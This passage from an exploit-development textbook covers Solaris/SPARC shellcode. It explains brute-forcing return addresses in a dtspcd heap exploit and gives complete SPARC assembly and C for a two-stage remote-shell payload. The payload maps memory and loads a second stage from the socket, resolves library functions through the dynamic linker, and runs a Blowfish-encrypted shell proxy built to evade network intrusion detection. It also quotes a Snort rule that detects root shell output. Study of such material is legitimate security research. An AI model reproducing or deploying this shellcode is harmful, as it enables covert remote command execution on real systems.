As we can see, every possible `retaddr` is tried twice with an increment of 4. In doing this, we assume that the first `retaddr_base` may overwrite a branch instruction rather than a `xor` instruction. If both won't work for us, we can assume that heap address is not correct. We now calculate a new address by adding the incremental offset (`self.increment`) to our current heap address. This technique will make heap-based exploits much more reliable.

We will end this section by briefly explaining the SPARC shellcode we used in the `dtspcd` exploit. This shellcode assumes that incoming connections will always be tied to socket zero. At the time of writing, this is correct for every revision of the Solaris OS running `dtspcd`. Let's see how the shellcode reaches its goals in three simple steps.

Let's look at the first step:

```
write(0, "/bin/ksh", 8);
```

The shellcode writes the string `"/bin/ksh"` to the network socket in order to let the exploit (or *client* depending on how you view the exploitation of vulnerable systems) know that exploitation was successful. This will tell the exploit to stop brute forcing, and that the proxy loop should be entered. You may be thinking, why `"/bin/ksh"`? The reason behind choosing Korn Shell is we do not want to increase the shellcode size by inserting a string like `Success` or `Owned`. We will use the string that will be used by the `exec()` system call, thus saving space.

Next, we have the second step:

```
for(i=0; i < 3; i++)
fcntl(0, F_DUP2FD, i);
```

We will simply duplicate `stdin`, `stdout`, and `stderr` file descriptors for socket number zero.

On to the third step:

```
exec("/bin/ksh", NULL);
```

There you have the usual shell spawning trick, Solaris/SPARC style. This assembly component uses the string `"/bin/ksh"`, which is also used in the `write()` component, to inform the exploit that we have successful execution.

Advanced Solaris/SPARC Shellcode

Unix shellcode is traditionally implemented by means of consecutive system calls that achieve basic connectivity and privilege escalation goals, such as spawning a shell and connecting it to a network socket. Connectback, findsocket, and bindsocket shellcodes are the most commonly used and widely available shellcode that essentially gives a remote attacker shell access. This common usage of the same shellcode in exploit development gives signature-based IDS vendors an easy way to detect exploits. Byte matching the exact shellcode or common operations is not all that useful, but IDS vendors have had much success in matching commands that pass over the newly spawned shell. If you are interested in IDS signature development, we recommend *Intrusion Detection with Snort,* by Jack Koziol. The book contains a few excellent chapters on developing Snort signatures from raw packet captures.

For example, Unix commands such as `uname -a`, `ps`, `id`, and `ls -l` that are found passing over the network in clear text on ports such as 22, 80, and 443 are big red flags for most IDSs. Consequently, IDSs all have rules to detect such activity. Other than a couple of depreciated protocols (`rlogin, rsh, telnet`), you should never see Unix commands flying around on your network in clear text. This is one of the major pitfalls of modern Unix shellcode, if not the biggest pitfall.

Let's look at a rule from the Snort IDS (version 2.0.0):

```
alert ip any any -> any any (msg:"ATTACK RESPONSES id check returned
root";
content: "uid=0(root)" ; classtype:bad-unknown; sid:498; rev:3;)
```

This rule triggers when `uid=0(root)` is found on the wire. There are several similar examples in `attack-responses.rules` that is distributed with the Snort network IDS.

In this chapter we introduce end-to-end encryption for shellcode. We will even take this approach to the extreme and use blowfish encryption for our shellcode in order to totally encrypt data communication. During the initial effort to build the blowfish encryption communication channel, we found yet another major limitation of the recent Unix shellcode. Current shellcode technologies are based on direct system call execution (`int 0x80, ta 0x8`), which ends up being very limiting for developing complex tasks. Therefore, we need capabilities to locate and load various libraries in our address space and use various library functions (API) to achieve our goals. Win32 exploit development has benefited from the awesome flexibility of loading libraries, and then locating and using APIs for various tasks for quite a long time. (These techniques are covered in great detail in the Windows chapters of this book.) Now, it is time for Unix shellcode to start using `_dlsym()` and `_dlopen()` to implement innovative methods such as blowfish-encrypted communication channels or using libpcap to sniff network traffic within the shellcode.

We will achieve the aforementioned goals using a two-stage shellcode. The first shellcode, using the classic tricks, will set up an execution environment for the second shellcode. The initial shellcode has three stages: first, using system calls to step up a new anonymous memory map for the second-stage shellcode; second, reading in the second-stage shellcode to the new memory region; and third, flushing the instruction cache over the new region (just to be safe) and finalizing it by jumping to it. Also, before the jump, we should note that the second-stage shellcode will be expecting the network socket number in the `%i1` register, so we need to set that up before the jump. What follows is the first-stage shellcode in both assembly and pseudo code:

```
/* assuming "sock" will be the network socket number. whether hardcoded
or found by getpeername() tricks */

/* grab an anonymous memory region with the mmap system call */
map = mmap(0, 0x8000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_SHARED, -1,
0);

/* read in the second-stage shellcode from the network socket */
len = read(sock, map, 0x8000);

/* go over the mapped region len times and flush the instruction cache
*/
for(i = 0; i < len; i+=4, map += 4)
        iflush map;

/* set the socket number in %i1 register and jump to the newly mapped
region */
_asm_("mov sock, %i1");
f = (void (*)()) map;
f(sock);
```

Now, let's take the preceding pseudo code and convert it to SPARC assembly:

```
        .align 4
        .global main
        .type    main,#function
        .proc   04
main:
        ! mmap(0, 0x8000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_SHARED, -
1, 0);
        xor     %l1, %l1, %o0   ! %o0 = 0
        mov     8, %l1
        sll     %l1, 12, %o1    ! %o1 = 0x8000
        mov     7, %o2          ! %o2 = 7
        sll     %l1, 28, %o3
        or      %o3, 0x101, %o3 ! %o3 = 257
        mov     -1, %o4         ! %o4 = -1
        xor     %l1, %l1, %o5   ! %o5 = 0
        mov     115, %g1        ! SYS_mmap        115
        ta      8               ! mmap

        xor     %l2, %l2, %l1   ! %l1 = 0
        add     %l1, %o0, %g2   ! addr of new map

      ! store the address of the new memory region in %g2

      ! len = read(sock, map, 0x8000);
      ! socket number can be hardcoded, or use getpeername tricks
        add     %i1, %l1, %o0   ! sock number assumed to be in %i1
        add     %l1, %g2, %o1   ! address of the new memory region
        mov     8, %l1
        sll     %l1, 12, %o2      ! bytes to read 0x8000
        mov     3, %g1          ! SYS_read        3
        ta      8               ! trap to system call

        mov     -8, %l2
        add     %g2, 8, %l1
loop:
        flush   %l1 - 8            ! flush the instruction cache
        cmp     %l2, %o0        ! %o0 = number of bytes read
        ble,a   loop            ! loop %o0 / 4 times
        add     %l2, 4, %l2      ! increment the counter

jump:
        !socket number is already in %i1
        sub     %g2, 8, %g2
        jmp     %g2 + 8            ! jump to the maped region
        xor     %l4, %l5, %l1      ! delay slot
        ta      3            ! debug trap, should never be reached ...
```

The initial shellcode will produce the following output if traced with /usr/bin/truss:

```
mmap(0x00000000, 32768, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_SHARED|MAP_ANON, -1,
0) = 0xFF380000
```

```
read(0, 0xFF380000, 32768)     (sleeping...)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  ....
read(0, " a a a a a a a a a a a a a".., 32768)    = 43
Incurred fault #6, FLTBOUNDS  %pc = 0x84BD8584
siginfo: SIGSEGV SEGV_MAPERR addr=0x84BD8584
Received signal #11, SIGSEGV [default]
siginfo: SIGSEGV SEGV_MAPERR addr=0x84BD8584
        *** process killed ***
```

As you can see, we successfully mapped an anonymous memory region (`0xff380000`) and `read()` in a bunch of `a` characters from the `stdin` and jumped to it. Execution eventually stopped, and we got a `SIGSEGV` (segmentation fault), because a row of `0x61` characters does not make much sense.

We will now start to assemble the various concepts for the second-stage shellcode and finalize this chapter. Step-by-step execution flow of the second stage shellcode is followed by the shellcode itself with both its assembly and C components. Take a look at pseudo code so you can better understand what is happening:

```
- open() /usr/lib/ld.so.1 (dynamic linker).
- mmap() ld.so.1 into memory (once again).
- locate _dlsym in newly mapped region of ld.so.1
- search .dynsym, using .dynstr (dynamic symbol and string tables)
- locate and return the address for _dlsym() function
- using _dlsym() locate dlopen, fread, popen, fclose, memset, strlen ...
- dlopen() /usr/local/ssl/lib/libcrypto.so (this library comes with
openssl)
- locate BF_set_key() and BF_cfb64_encrypt() from the loaded object
(libcrypto.so)
- set the blowfish encryption key (BF_set_key())
- enter a proxy loop (infinite loop that reads and writes to the network
socket)
```

The proxy loop pseudo code is as follows:

```
- read() from the network socket (client sends encrypted data)
- decrypt whatever the exploit send over. (using BF_cfb64_encrypt() with
DECRYPT flag)
- popen() pipe the decrypted data to the shell
- fread() the output from the shell (this is the result of the piped
command)
- do an strlen() on the output from popen() (to calculate its size)
- encrypt the output with the key (using BF_cfb64_encrypt() with ENCRYPT
flag)
- write() it to the socket (exploit side now needs to decrypt the
response)
- memset() input and output buffers to NULL
- fclose() the pipe
   jump to the read() from socket and wait for new commands
```

Let's go ahead with the real code:

```
----------- BF_shell.s ------------------------------------

      .section      ".text"
      .align 4
      .global main
      .type      main,#function
      .proc      04
main:
      call      next
      nop
!use %i1 for SOCK
next:
      add      %o7, 0x368, %i2      !functable addr

      add      %i2, 40, %o0      !LDSO string
      mov      0, %o1
      mov      5, %g1            !SYS_open
      ta      8

      mov      %o0, %i4            !fd
      mov      %o0, %o4              !fd
      mov      0, %o0            !NULL
      sethi      %hi(16384000), %o1      !size
      mov      1, %o2                  !PROT_READ
      mov      2, %o3                  !MAP_PRIVATE
      sethi        %hi(0x80000000), %g1
      or        %g1, %o3, %o3
      mov      0, %o5                  !offset
      mov      115, %g1                  !SYS_mmap
      ta      8

      mov      %i2, %l5            !need to store functable to temp reg
      mov     %o0, %i5            !addr from mmap()
      add      %i2, 64, %o1      !"_dlsym" string
      call      find_sym
      nop
      mov      %l5, %i2            !restore functable

      mov      %o0, %i3            !location of _dlsym in ld.so.1

      mov      %i5, %o0                  !addr
      sethi      %hi(16384000), %o1      !size
      mov      117, %g1                  !SYS_munmap
      ta      8

      mov      %i4, %o0                  !fd
      mov      6, %g1                  !SYS_close
      ta      8
      sethi      %hi(0xff3b0000), %o0    !0xff3b0000 is ld.so base in
every process
      add      %i3, %o0, %i3            !address of _dlsym()
      st      %i3, [ %i2 + 0 ]            !store _dlsym() in functable

      mov      -2, %o0
      add      %i2, 72, %o1            !"_dlopen" string
      call      %i3
      nop
      st      %o0, [%i2 + 4]            !store _dlopen() in functable

      mov      -2, %o0
      add      %i2, 80, %o1            !"_popen" string
      call      %i3
      nop
      st      %o0, [%i2 + 8]            !store _popen() in functable

      mov      -2, %o0
      add      %i2, 88, %o1            !"fread" string
      call      %i3
      nop
      st      %o0, [%i2 + 12]            !store fread() in functable

      mov      -2, %o0
      add      %i2, 96, %o1            !"fclose" string
      call      %i3
      nop
      st      %o0, [%i2 + 16]            !store fclose() in functable

      mov      -2, %o0
      add      %i2, 104, %o1            !"strlen" string
      call      %i3
      nop
      st      %o0, [%i2 + 20]            !store strlen() in functable

      mov      -2, %o0
      add      %i2, 112, %o1            !"memset" string
      call      %i3
      nop
      st      %o0, [%i2 + 24]            !store memset() in functable


      ld      [%i2 + 4], %o2            !_dlopen()
      add      %i2, 120, %o0
!"/usr/local/ssl/lib/libcrypto.so" string
      mov      257, %o1                  !RTLD_GLOBAL | RTLD_LAZY
      call      %o2
      nop
      mov      -2, %o0
      add      %i2, 152, %o1            !"BF_set_key" string
      call      %i3
      nop
      st      %o0, [%i2 + 28]            !store BF_set_key() in
functable

      mov      -2, %o0
      add      %i2, 168, %o1            !"BF_cfb64_encrypt" string
      call      %i3                        !call _dlsym()
      nop
      st      %o0, [%i2 + 32]            !store BF_cfb64_encrypt() in
functable

      !BF_set_key(&BF_KEY, 64, &KEY);
      !this API overwrites %g2 and %g3
      !take care!
        add     %i2, 0xc8, %o2          ! KEY
      mov      64, %o1                  ! 64
      add      %i2, 0x110, %o0            ! BF_KEY
        ld      [%i2 + 28], %o3         ! BF_set_key() pointer
        call    %o3
        nop

while_loop:

      mov      %i1, %o0            !SOCKET
      sethi      %hi(8192), %o2

      !reserve some space
      sethi      %hi(0x2000), %l1
      add      %i2, %l1, %i4            ! somewhere after BF_KEY

      mov      %i4, %o1                  ! read buffer in %i4
      mov      3, %g1                  ! SYS_read
      ta      8

      cmp      %o0, -1                  !len returned from read()
      bne      proxy
      nop
      b      error_out                  !-1 returned exit process
       nop

proxy:
      !BF_cfb64_encrypt(in, out, strlen(in), &key, ivec, &num, enc);
DECRYPT
      mov      %o0, %o2            ! length of in
      mov      %i4, %o0            ! in
      sethi   %hi(0x2060), %l1
      add      %i4, %l1, %i5            !duplicate of out
      add     %i4, %l1, %o1            ! out
        add     %i2, 0x110, %o3         ! key
      sub      %o1, 0x40, %o4           ! ivec
      st      %g0, [%o4]                 ! ivec = 0
      sub      %o1, 0x8, %o5            ! &num
      st      %g0, [%o5]                 ! num = 0
      !hmm stack stuff..... put enc [%sp + XX]
      st     %g0, [%sp+92]             !BF_DECRYPT    0
        ld      [%i2 + 32], %l1        ! BF_cfb64_encrypt() pointer
        call    %l1
        nop

      mov      %i5, %o0                 ! read buffer
      add      %i2, 192, %o1            ! "rw" string
      ld      [%i2 + 8], %o2            ! _popen() pointer
      call      %o2
      nop

      mov      %o0, %i3            ! store FILE *fp

      mov      %i4, %o0            ! buf
      sethi      %hi(8192), %o1            ! 8192
      mov      1, %o2                  ! 1
      mov      %i3, %o3                  ! fp
      ld      [%i2 + 12], %o4           ! fread() pointer
      call      %o4
      nop

      mov      %i4, %o0                 !buf
      ld      [%i2 + 20], %o1           !strlen() pointer
      call      %o1, 0
      nop

      !BF_cfb64_encrypt(in, out, strlen(in), &key, ivec, &num, enc);
ENCRYPT
      mov      %o0, %o2                 ! length of in
      mov      %i4, %o0                 ! in
           mov      %o2, %i0                 ! store length for
write(.., len)
        mov     %i5, %o1                 ! out
        add     %i2, 0x110, %o3       ! key
        sub     %i5, 0x40, %o4        ! ivec
        st      %g0, [%o4]            ! ivec = 0
        sub     %i5, 0x8, %o5         ! &num
        st      %g0, [%o5]            ! num = 0
      !hmm stack shit..... put enc [%sp + 92]
      mov      1, %l1
      st      %l1, [%sp+92]            !BF_ENCRYPT      1
        ld      [%i2 + 32], %l1        ! BF_cfb64_encrypt() pointer
        call    %l1
```

```
          nop

        mov      %i0, %o2            !len to write()
        mov      %i1, %o0            !SOCKET
        mov      %i5, %o1            !buf
        mov      4, %g1            !SYS_write
        ta      8

        mov      %i4, %o0                  !buf
        mov      0, %o1                  !0x00
        sethi      %hi(8192), %o2
        or      %o2, 8, %o2                  !8192
        ld      [%i2 + 24], %o3            !memset() pointer
        call      %o3, 0
        nop

        mov      %i3, %o0
        ld      [%i2 + 16], %o1       !fclose() pointer
        call      %o1, 0
        nop

        b      while_loop
        nop

error_out:
        mov      0, %o0
        mov      1, %g1            !SYS_exit
        ta       8

! following assembly code is extracted from the -fPIC (position
independent)
! compiled version of the C code presented in this section.
! refer to find_sym.c for explanation of the following assembly routine.
find_sym:
        ld      [%o0 + 32], %g3
        clr     %o2
        lduh    [%o0 + 48], %g2
        add     %o0, %g3, %g3
        ba      f1
        cmp     %o2, %g2
f3:
        add     %o2, 1, %o2
        cmp     %o2, %g2
        add     %g3, 40, %g3
f1:
        bge     f2
        sll     %o5, 2, %g2
        ld      [%g3 + 4], %g2
        cmp     %g2, 11
        bne,a        f3
        lduh    [%o0 + 48], %g2
        ld      [%g3 + 24], %o5
        ld      [%g3 + 12], %o3
        sll     %o5, 2, %g2
f2:
        ld      [%o0 + 32], %g3
        add     %g2, %o5, %g2
        sll     %g2, 3, %g2
        add     %o0, %g3, %g3
        add     %g3, %g2, %g3
        ld      [%g3 + 12], %o5
        and     %o0, -4, %g2
        add     %o3, %g2, %o4
        add     %o5, %g2, %o5
f5:
        add     %o4, 16, %o4
f4:
        ldub    [%o4 + 12], %g2
        and     %g2, 15, %g2
        cmp     %g2, 2
        bne,a       f4
        add     %o4, 16, %o4
        ld      [%o4], %g2
        mov     %o1, %o2
        ldsb    [%o2], %g3
        add     %o5, %g2, %o3
        ldsb    [%o5 + %g2], %o0
        cmp     %o0, %g3
        bne     f5
        add     %o2, 1, %o2
        ldsb    [%o3], %g2
f7:
        cmp     %g2, 0
        be      f6
        add     %o3, 1, %o3
        ldsb    [%o2], %g3
        ldsb    [%o3], %g2
        cmp     %g2, %g3
        be      f7
        add     %o2, 1, %o2
        ba      f4
        add     %o4, 16, %o4
f6:
        jmp     %o7 + 8
        ld      [%o4 + 4], %o0
functable:
          .word 0xbabebab0        !_dlsym
          .word 0xbabebab1        !_dlopen
          .word 0xbabebab2        !_popen
          .word 0xbabebab3        !fread
          .word 0xbabebab4        !fclose
          .word 0xbabebab5        !strlen
          .word 0xbabebab6        !memset
          .word 0xbabebab7        !BF_set_key
          .word 0xbabebab8        !BF_cfb64_encrypt
          .word 0xffffffff

LDSO:
          .asciz  "/usr/lib/ld.so.1"
          .align 8
DLSYM:
          .asciz  "_dlsym"
          .align 8
DLOPEN:
          .asciz  "_dlopen"
          .align 8
POPEN:
          .asciz  "_popen"
          .align 8
FREAD:
          .asciz  "fread"
          .align 8
FCLOSE:
          .asciz  "fclose"
          .align 8
STRLEN:
          .asciz  "strlen"
          .align 8
MEMSET:
          .asciz  "memset"
          .align 8
LIBCRYPTO:
          .asciz  "/usr/local/ssl/lib/libcrypto.so"
          .align 8
BFSETKEY:
          .asciz  "BF_set_key"
          .align 8
BFENCRYPT:
          .asciz  "BF_cfb64_encrypt"
          .align 8
RW:
        .asciz      "rw"
        .align 8
KEY:
        .asciz
        "6fa1d67f32d67d25a31ee78e487507224ddcc968743a9cb81c912a78ae0a0ea9"
        .align 8
BF_KEY:
          .asciz  "12341234" !BF_KEY storage, actually its way larger
        .align 8
```

As mentioned in the shellcode's comments, the `find_sym()` function is a simple C routine that parses the section header of the dynamic linker, finding the dynamic symbol table and the string table for us. Next, it tries to locate the requested function by parsing the entries in the dynamic symbol table and comparing the strings in the string table with the requested function's name.

```
--------------- find_sym.c ----------------------------------------
#include <stdio.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/elf.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <libelf.h>

u_long find_sym(char *, char *);

u_long
find_sym(char *base, char *buzzt)
{
  Elf32_Ehdr *ehdr;
  Elf32_Shdr *shdr;
  Elf32_Word *dynsym, *dynstr;
  Elf32_Sym  *sym;
  const char *s1, *s2;
  register int i = 0;

    ehdr = (Elf32_Ehdr *) base;

    shdr = (Elf32_Shdr *) ((char *)base + (Elf32_Off) ehdr->e_shoff);

    /* look for .dynsym */

    while( i < ehdr->e_shnum){

         if(shdr->sh_type == SHT_DYNSYM){
                        dynsym = (Elf32_Word *) shdr->sh_addr;
                        dynstr = (Elf32_Word *) shdr->sh_link;
                        //offset to the dynamic string table's section
header
                        break;
         }

         shdr++, i++;
     }

    shdr = (Elf32_Shdr *) (base + ehdr->e_shoff);
     /* this section header represents the dynamic string table */
    shdr += (Elf32_Word) dynstr;
    dynstr = (Elf32_Addr *) shdr->sh_addr; /*relative location of
.dynstr*/

    dynstr += (Elf32_Word) base / sizeof(Elf32_Word); /* relative to
virtual */
    dynsym += (Elf32_Word) base / sizeof(Elf32_Word); /* relative to
virtual */

        sym = (Elf32_Sym *)  dynsym;

        while(1) {

        /* first entry is in symbol table is always empty, pass it */
                sym++; /* next entry in symbol table */

                if(ELF32_ST_TYPE(sym->st_info) != STT_FUNC)
                        continue;

                s1 = (char *) ((char *) dynstr + sym->st_name);
                s2 = buzzt;

                while (*s1 == *s2++)
                        if (*s1++ == 0)
                                return sym->st_value;
        }

}
```

Conclusion

In this chapter, we introduced the first truly reliable method of exploiting Solaris vulnerabilities, via single stepping the dynamic linker. Additionally, we looked into creating blowfish-encrypted shellcode that will allow us to circumvent any sort of network IDS or IPS.